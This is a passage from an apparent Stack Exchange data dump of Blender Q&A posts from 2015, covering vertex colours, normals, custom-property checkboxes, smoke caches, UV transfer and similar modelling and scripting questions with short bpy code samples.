[r,g,b,r,g,b,r,g,b,r,g,b,.....]&#xA; obj.data.vertex_colors[0].data.foreach_set(&quot;color&quot;, flattened_list)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/zeffii/1a7d6800559f9ee902f8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/zeffii/1a7d6800559f9ee902f8&lt;/a&gt; shows how to do it for an Icosphere&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# default 80 faces, all Tris&#xA;obj = bpy.data.objects['Icosphere']  &#xA;&#xA;# note the range is 80 * 3&#xA;flattened_list = []&#xA;[flattened_list.extend([0.5, 0.3, 0.7]) for i in range(80*3)]&#xA;&#xA;obj.data.vertex_colors[0].data.foreach_set(&quot;color&quot;, flattened_list) &#xA;obj.data.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keeping the objects separate means you must use a vertex_color layer for each object, but you can share the common material.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Using thousands of materials for thousands of objects is certainly OK too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which of these options is the best depends on your scenario.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Code simplicity vs Efficiency&lt;/li&gt;&#xA;&lt;li&gt;Efficiency vs 'How important is Efficiency'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How important is Efficiency:&lt;/strong&gt; Is a High real-time framerate a requirement or is it being rendered and is the efficiency of your method not a real concern.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-18T19:30:34.217" LastActivityDate="2015-08-18T19:30:34.217" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35870" PostTypeId="2" ParentId="35852" CreationDate="2015-08-17T07:53:49.793" Score="0" Body="&lt;p&gt;This looks quite obvious to me: the normals are inverted, thus the faces get culled. In english, the textured view is optimised by showing only one side of the faces. This way the inside of the mesh doesn't get rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason you have the faces pointing the wrong way around (ie. Blender thinks that the inside of your mesh is the outside and vice versa.). To fix this, in edit mode select all vertices and go to the Shading / UVs tab (allready open in your screen capture) and under Normals hit recalculate. If this didn't work, you can try to manually invert them by hitting Flip Direction. Now the surface should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastActivityDate="2015-08-17T07:53:49.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35872" PostTypeId="2" ParentId="35440" CreationDate="2015-08-17T08:22:53.070" Score="10" Body="&lt;p&gt;In this case you have a predefined range &lt;code&gt;10 ... 90 degrees&lt;/code&gt;, it's simple to remap those to a &lt;code&gt;0....1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Using a Cycles material&lt;/h3&gt;&#xA;&lt;p&gt;You could give each object a &lt;code&gt;Value&lt;/code&gt; Node and key-frame its values within a range &lt;code&gt;0 ... 1&lt;/code&gt;, then convert them via a &lt;code&gt;ColorRamp&lt;/code&gt; node to your Jet colormap (here quickly defined by hand).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7Q7Nv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Q7Nv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Octave Gradients (add-on)&lt;/h3&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I wrote a little add-on that can recreate Octave/Matlab default gradients: &lt;a href=&quot;https://github.com/zeffii/octave_gradients&quot; rel=&quot;noreferrer&quot;&gt;Get it here&lt;/a&gt;. Installation can be done using the &lt;em&gt;zip&lt;/em&gt; on github and Blender's &lt;em&gt;Install from File&lt;/em&gt; feature in User Preferences. &lt;code&gt;{category: 'Node', name: 'octave gradients'}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This adds a panel called &lt;em&gt;Octave Gradient Demo&lt;/em&gt; to the Cycles node view.&#xA;From here you can choose the gradient by name, it will display the colors in the same panel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9TpRj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9TpRj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;set gradient&lt;/em&gt; button will write the gradient to a ColorRamp if it finds one in the current material, else it adds a ColorRamp and then fills it with the gradient info.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The location of the newly added ColorRamp is a contentious issue, how would I decide where to add it? for now i've set it to add the node to (0,0).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Notice i've defaulted it to Linear, but gradient might be smoother.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n4IR2.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n4IR2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Choices:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oIfnL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oIfnL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Usage&lt;/h3&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;enable addon&lt;/li&gt;&#xA;&lt;li&gt;make sure renderer is set to cycles&lt;/li&gt;&#xA;&lt;li&gt;click an object, and create a new node based material&lt;/li&gt;&#xA;&lt;li&gt;get a view open to see the nodes for the material&lt;/li&gt;&#xA;&lt;li&gt;in the right side panel (use N to show the shelf) you'll see the &lt;em&gt;Octave Gradient Demo&lt;/em&gt; panel.&lt;/li&gt;&#xA;&lt;li&gt;initially this will show all black ramp slots until you change the palette from the dropdown.&lt;/li&gt;&#xA;&lt;li&gt;If you haven't already added a ColorRamp node to the current Material, that's OK the &lt;em&gt;set gradient&lt;/em&gt; button adds a ramp for you (but it might not be visible, zoom out if not)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-10-12T14:10:52.783" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35873" PostTypeId="2" ParentId="35785" CreationDate="2015-08-17T08:23:44.690" Score="1" Body="&lt;p&gt;You do not need such setting at all. The default (no level trigger, no Level, no Tap, no Invert) will do it's job as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How does it work?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;State A)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you press the key the state actuator to State B gets activated. The state changes to State B)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xxgss.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xxgss.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;State B) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you release the key ... nothing happens.&#xA;When you press the key the state actuator to State A gets activated. The state changes to State A)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ssw3W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ssw3W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What happens with Tap?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tap means that the next frame the sensor evaluates False even if the measured event is still present (Tap makes the sensor lie). Evaluating False results in a deactivation of the actuators. The state actuator runs one frame only ... and ignores deactivation completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore it works the same way as without Tap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What happens with Level?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level means the sensor triggers the controller on state change (additionally to the evaluation changes true/false false/true). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is problematic. When you press the key it is unlikely you release it within the 1/60s. This means when entering a state the sensor will trigger the controller (with true) and activate the state actuator which switches to the other state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you get constant state changes until you release the key. So you are playing random generator. If that is you goal ... well done. If not ... better disable Level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What happens with True Level Triggering?&lt;/strong&gt;&#xA;This makes the sensor triggering the controllers when evaluating True all the time. This forces the actuators to get activated as long as the key is pressed. This results in constant state switching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In difference to Level, you can delay the switching by setting the Frequency parameter (Freq:) to a value greater than zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What happens with False Level Triggering?&lt;/strong&gt;&#xA;This makes the sensor triggering the controllers when evaluating False all the time. This forces the actuators to get deactivated as long as the key is not pressed. As deactivation gets ignored .. it just wastes some processing time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually this is not necessary.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-17T08:23:44.690" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35874" PostTypeId="2" ParentId="35824" CreationDate="2015-08-17T08:37:27.903" Score="1" Body="&lt;p&gt;The channels are separate ... I would expect it to be fine.I really can't tell why it does not play. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest to play them at different animation layers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pDSMu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pDSMu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-17T08:37:27.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35875" PostTypeId="2" ParentId="35767" CreationDate="2015-08-17T08:44:17.657" Score="3" Body="&lt;p&gt;Using Custom Properties (ID properties) works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for key, key_type in props.items():&#xA;    context.active_object[MinkoScript.format_property_name(i, key)] = script.get_property_default_value(key)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to be able to iterate on a specific script properties to draw the panel, I also store the properties dict in an ID property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context.active_object[MinkoScript.format_property_name(i, '$properties')] = props&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(0, context.active_object['minko_num_scripts']):&#xA;    layout.label(&#xA;        context.active_object[MinkoScript.format_property_name(i, '$name')] + ':',&#xA;        icon='TEXT'&#xA;    )&#xA;    box = layout.box()&#xA;    script_id = 'minko_script_' + str(i)&#xA;    script_props = context.active_object[MinkoScript.format_property_name(i, '$properties')]&#xA;    keys = sorted(script_props.keys())&#xA;    for key in keys:&#xA;        row = box.row(True)&#xA;        col = row.column(True)&#xA;        col.label(key + ':')&#xA;        col = row.column(True)&#xA;        col.prop(&#xA;            context.active_object,&#xA;            '[&quot;' + MinkoScript.format_property_name(i, key) + '&quot;]',&#xA;            text=''&#xA;        )&#xA;    row = box.row(True)&#xA;    row.operator(MinkoRemoveScriptOperator.bl_idname, text=&quot;Remove&quot;).script_id = i&#xA;    row.operator(MinkoReloadScriptOperator.bl_idname, text=&quot;Reload&quot;).script_id = i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16431" LastActivityDate="2015-08-17T08:44:17.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35876" PostTypeId="1" AcceptedAnswerId="35921" CreationDate="2015-08-17T08:48:31.510" Score="3" ViewCount="1192" Body="&lt;p&gt;I'm using Custom Properties (/ID properties) to store a dynamic list of properties I expose in a panel (cf &lt;a href=&quot;https://blender.stackexchange.com/questions/35767/dynamic-propertygroup-panel&quot;&gt;dynamic PropertyGroup / Panel&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can easily handle all of the property types I'm interested in. All except boolean properties. For some reason, Blender does not support ID properties of type bool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to emulate bool properties using an integer (for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: how can I render a panel with a checkbox that will somehow change the value of that integer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;" OwnerUserId="16431" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-08-18T06:32:41.140" Title="emulate bool Custom Property" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35877" PostTypeId="1" CreationDate="2015-08-17T09:06:29.910" Score="0" ViewCount="137" Body="&lt;p&gt;&lt;em&gt;(Disclaimer: Although I've worked with Blender on and off for a few years now, I consider myself a novice in many areas, as this is just a hobby for me)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm currently creating a library scene, and before you ask, yes, the books and bookshelves have been made together and turned into low poly models, however I have a number of models that I've had a significant amount of trouble in reducing the poly count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about using these models in a game, so I know the importance of actually reducing the poly count, but it's just not working out as planned. I was almost considering giving up on the game aspect until I read that some models in games have 10k poly counts (which is very achievable for my models)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is now, how many is &quot;too many&quot;? &#xA;an additional point of information is that lighting &amp;amp; texturing is all baked to the models, there isn't a great deal of dynamic lighting even in the game - so would this allow me to get away with higher poly models??&lt;/p&gt;&#xA;" OwnerUserId="16478" LastActivityDate="2015-08-17T09:06:29.910" Title="Is it worth reducing my poly count?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;normals&gt;&lt;topology&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35878" PostTypeId="1" AcceptedAnswerId="35880" CreationDate="2015-08-17T10:39:10.687" Score="4" ViewCount="572" Body="&lt;p&gt;I am working with text (standard Blender font) on a Mac. No problem with the currency symbols for yen, dollar, pound but somehow I cannot create the euro symbol. It should be &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt; on a mac. Blender displays the euro symbol in the Tool Shelf (&lt;em&gt;Edit Mode&lt;/em&gt;), but when I toggle into &lt;em&gt;Object Mode&lt;/em&gt; the glyph won't show up.&lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="3710" LastEditDate="2015-08-17T11:43:22.407" LastActivityDate="2015-08-17T11:43:22.407" Title="Cannot create Euro Symbol" Tags="&lt;text-object&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35879" PostTypeId="2" ParentId="35822" CreationDate="2015-08-17T10:49:56.367" Score="5" Body="&lt;p&gt;I would write a python script to keep track of the object's velocity. When the velocity suddenly decreases (on collision) I would play the sound, setting its volume based on how big the deceleration was.&lt;/p&gt;&#xA;" OwnerUserId="14175" LastActivityDate="2015-08-17T10:49:56.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35880" PostTypeId="2" ParentId="35878" CreationDate="2015-08-17T11:02:23.757" Score="5" Body="&lt;p&gt;Blender's default font for &lt;em&gt;Text&lt;/em&gt; Objects (called &quot;BFont&quot;) doesn't have the Euro symbol (August 2015). Import a different font, one that does have the Euro &lt;code&gt;€&lt;/code&gt; symbol.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects['some_text_object']&#xA;obj.data.body = chr(8364) * 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would show 4 Euro symbols, if the Glyph is present in the table.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-17T11:15:16.023" LastActivityDate="2015-08-17T11:15:16.023" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35881" PostTypeId="1" CreationDate="2015-08-17T11:44:52.223" Score="3" ViewCount="1012" Body="&lt;p&gt;I'm working an a short 2min animation, fully smoked based, in order to emulate a kind of ink effect on all my characters, landscape, etc (all the object in the scene are smoke emitters). Obviously, the cache files takes a lot of disk space (I mean : a lot!!), and a lot of baking time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I'd like to generate the smoke data once for each type of object, and re-use it every time I have the same kind of object in a (different) file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example, if one of my scenes contains a mountain, emitting smoke, with specific smoke settings, for a specific number of frames etc., and another one contains another mountain, with a a completely different shape. Can I use the generated smoke cache from the first object with the second (assuming that I desire the same smoke settings on both)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that ticking the &quot;external path&quot; option, and giving to it a path allow to reuse the generated smoke data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my question is: what will be shared exactly? Can I use the data between two files, containing different objects of different shapes, but with the same desired domain and flow settings, in order to save some disk space and baking time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I don't understand precisely what kind of exact information is stored in the &quot;.bphys&quot; cache files.&lt;/p&gt;&#xA;" OwnerUserId="16299" LastEditorUserId="2217" LastEditDate="2015-08-17T14:44:09.310" LastActivityDate="2021-03-05T21:11:21.637" Title="Ways of sharing the same smoke cache datas between two different files?" Tags="&lt;smoke-simulation&gt;&lt;path&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35882" PostTypeId="2" ParentId="35841" CreationDate="2015-08-17T12:44:24.450" Score="1" Body="&lt;p&gt;When you copy inter-object connections, they will be preserved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pfn4o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pfn4o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is (when enabled) that you see indirectly connected objects too, not just direct connected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WeMOm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WeMOm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can switch of indirect links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KNkY7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNkY7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-17T12:44:24.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35883" PostTypeId="2" ParentId="35876" CreationDate="2015-08-17T13:43:23.390" Score="3" Body="&lt;p&gt;ID properties can't be displayed as checkboxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def draw_func(self, context):&#xA;    layout = self.layout&#xA;    ob = context.object&#xA;&#xA;    try:&#xA;        ob[&quot;myBool&quot;]&#xA;    except (AttributeError, KeyError):&#xA;        layout.label('No [&quot;myBool&quot;] property.')&#xA;    else:&#xA;        layout.prop(ob, '[&quot;myBool&quot;]', toggle=True, slider=False)&#xA;&#xA;def register():&#xA;    bpy.types.OBJECT_PT_custom_props.prepend(draw_func)&#xA;&#xA;def unregister():&#xA;    bpy.types.OBJECT_PT_custom_props.remove(draw_func)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They will always display as integer or floating point numbers, and also stored this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use &lt;code&gt;bpy.props.BoolProperty()&lt;/code&gt; for checkboxes. &lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-17T13:43:23.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35884" PostTypeId="1" CreationDate="2015-08-17T14:07:52.547" Score="1" ViewCount="1598" Body="&lt;p&gt;Using version 2.75 I am unable to import .fbx files from WoW model viewer into blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempting to do so throws an AssertionError.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Assertion Error&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what is going on here and what I can do to fix it?&lt;/p&gt;&#xA;" OwnerUserId="14619" LastActivityDate="2015-08-26T09:20:50.533" Title="FBX Importer AssertionError (unknown location -1) when importing .fbx from wow model viewer" Tags="&lt;import&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-08-26T15:13:26.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="35885" PostTypeId="1" CreationDate="2015-08-17T14:39:18.817" Score="2" ViewCount="917" Body="&lt;p&gt;I have two meshes, both have the exact same number of vertices/faces/tris and the same topology, but when I transfer the UV maps between them, this happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IIKLP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IIKLP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same happens when I attempt to transfer the vertex groups and weights between them, the weights are painted in the wrong part of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't fully understand exactly how meshes work but I assume the problem is the 'order' of the vertices, or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make the 'order' of the vertices the same as the other mesh so that when transferred the UV map will work?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The solution&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The 'Data Transfer' modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I scaled and positioned the meshes until they were as close as possible to being exactly on top of each other. I applied the 'Data Transfer' modifier and copied the 'Vertex Data' (vertex groups) using the 'Nearest vertex' to the target mesh.&lt;/p&gt;&#xA;" OwnerUserId="16487" LastEditorUserId="16487" LastEditDate="2015-08-17T15:52:10.157" LastActivityDate="2015-08-17T15:52:10.157" Title="Make two meshes with same topology, vertices, etc identical for UV map transfer" Tags="&lt;uv&gt;&lt;vertices&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35886" PostTypeId="2" ParentId="35791" CreationDate="2015-08-17T15:06:30.727" Score="4" Body="&lt;p&gt;Start by making the main outline of your bottle. Once you have that, hover over the section you want to add the inset to and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;. Use the scroll wheel to select exactly how many you want.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9PNbx.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9PNbx.gif&quot; alt=&quot;adding loopcuts&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; to switch to edge select mode. Holding &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;, right click on the newly added loop-cuts. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; to bevel and roll the scroll wheel one click to add another loop cut in the middle.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JKKea.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JKKea.gif&quot; alt=&quot;Beveling&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now select the inner loop-cut on each of those rings. Now press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;.&lt;/kbd&gt; (period) to change to the &lt;em&gt;Individual Origins&lt;/em&gt; pivot point. Scale the selection down as desired.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2MOzV.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2MOzV.gif&quot; alt=&quot;Scaling&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now go into orthographic mode, and press &lt;kbd&gt;Numpad 1&lt;/kbd&gt; and select the center vertices as shown. Move them up as desired. Go ahead and press &lt;kbd&gt;Numpad 3&lt;/kbd&gt; and do the same thing. Enable a Subdivision Modifier, and bevel the edges using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Aruiq.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aruiq.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Final result:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4LKaD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4LKaD.png&quot; alt=&quot;result&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-17T15:06:30.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35888" PostTypeId="1" CreationDate="2015-08-17T15:52:28.527" Score="2" ViewCount="83" Body="&lt;p&gt;I want to use a particle system to fill a container. The particles are solid objects and not liquid. I just want a container to look like it was filled naturally, and not like a grid. It would be quicker to set up a particle system to do this than to manipulate tons of separate meshes individually. I'm not sure if this can be done in blender, but any help with this would be nice. I also need this to work with the cycles rendering engine.&lt;/p&gt;&#xA;" OwnerUserId="14061" LastActivityDate="2015-08-17T15:52:28.527" Title="Using a particle system to fill up a container" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2015-08-17T21:15:38.367" ContentLicense="CC BY-SA 3.0" />
  <row Id="35889" PostTypeId="1" CreationDate="2015-08-17T15:52:54.453" Score="1" ViewCount="240" Body="&lt;p&gt;I'm using 2.69. I have a simple cube object, and have set up UV mapping for the face and sides, and added an image as texture via this UV mapping.&#xA;The UV map is simple, just a cross, and I've welded the points together rather that having separate rectangles for the front face and each side.&#xA;All normals are facing outwards.&#xA;When rendering, I get artifacts near the edges, that show part of the hidden sides through the front face (bottom and right of the front face).&#xA;The cube is a simple cube, no subsurf or anything fancy.&#xA;What is wrong here ?&#xA;(the artifacts show here as black, if I disable shadows I see the hidden faces instead.)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/88pGa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/88pGa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16488" LastActivityDate="2015-08-20T08:42:39.380" Title="simple UV map on a cube gets rendering artifacts near edges" Tags="&lt;rendering&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
